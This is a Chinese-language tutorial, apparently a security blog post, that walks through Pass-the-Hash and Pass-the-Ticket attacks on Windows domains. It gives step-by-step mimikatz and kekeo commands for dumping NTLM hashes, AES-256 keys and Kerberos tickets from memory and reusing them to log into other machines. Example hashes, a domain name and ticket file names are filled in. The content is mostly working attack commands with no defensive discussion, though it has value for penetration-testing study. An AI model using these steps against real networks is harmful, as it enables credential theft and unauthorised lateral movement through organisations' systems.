1、哈希传递
哈希传递(Pass The Hash, PTH)顾名思义,就是利用哈希去登录内网中的其他机器,而不是通过明文密码登录的方式。
通过哈希传递,攻击者不需要花时间破解哈希值得到明文,在Windows Server 2012 R2及之后版本的操作系统中,默认不会在内存中保存明文密码,Mimikatz 就读不到密码明文,因此此时往往会使用工具将哈希值传递到其他计算机中进行登录验证。
NTLM Hash
在目标主机上使用 mimikatz 获取 NTLM Hash
privilege::debug
sekurlsa::logonpasswords
在远程主机上以管理员权限打开 mimikatz
privilege::debug
sekurlsa::pth /user:administrator /domain:teamssix.com /ntlm:161cff084477fe596a5db81874498a24
mimikatz 执行后,会弹出一个拥有对应 Hash 用户权限的 CMD 窗口。
AES-256 密钥
使用 mimikatz 抓取密钥
privilege::debug
sekurlsa::ekeys
在其他远程计算机中,以管理员权限打开 mimikatz
privilege::debug
sekurlsa::pth /user:administrator /domain:teamssix.com /aes256:7358fb65149672d99b8c9f3dfd0dfeb486b78268e9c5250b23aefbd26f293c60
这里需要目标机器上安装 KB2871997 补丁,补丁下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=42722
将该补丁安装后,就可以通过 AES256 密钥进行哈希传递了。
除了 AES256 外还有 AES128 等,不过平时基本都是使用 NTLM 哈希进行传递。
2、票据传递
票据传递(Pass The Ticket, PTT)是基于Kerberos认证的一种攻击方式,这里主要学习票据传递在 mimikatz 和 kekeo 两个工具里的使用。
mimikatz
使用 mimikatz 可以将内存中的票据进行导出。
privilege::debug
sekurlsa::tickets /export
执行该命令后,会在当前目录下生成多个服务的票据文件,例如 kirbi 等
使用以下命令可以清除内存中的票据
kerberos::purge
将票据文件注入内存
kerberos::ptt "[0;4beae][email protected]"
在当前终端下退出 mimikatz ,然后就可以列出目标目录了。
票据传递除了用 mimikatz 还可以用 kekeo
kekeo
kekeo 需要使用域名、用户名、NTLM HASH 生成票据,然后再将票据导入,从而连接远程计算机。
tgt::ask /user:administrator /domain:teamssix.com /ntlm:161cff084477fe596a5db81874498a24
在 kekeo 中清除当前内存中的其他票据,不然可能会导致票据传递失败
kerberos::purge
在 Windows 命令行中也可以执行系统自带的命令进行内存中的票据清除
klist purge
使用以下命令将票据导入内存,之后 exit 退出 kekeo,使用 dir 命令就可以列出远程文件了。
kerberos::ptt "[email protected][email protected]"
注意点:
1、票据文件注入内存的默认有效时间为 10 小时
2、在目标机器上不需要本地管理员权限就可以进行票据传递
3、使用票据传递时,dir 命令必须使用主机名,如果使用 IP 地址会提示拒绝访问。
参考文章:
https://www.cnblogs.com/Xy--1/p/13216686.html
原文链接:
https://teamssix.com/210901-160349.html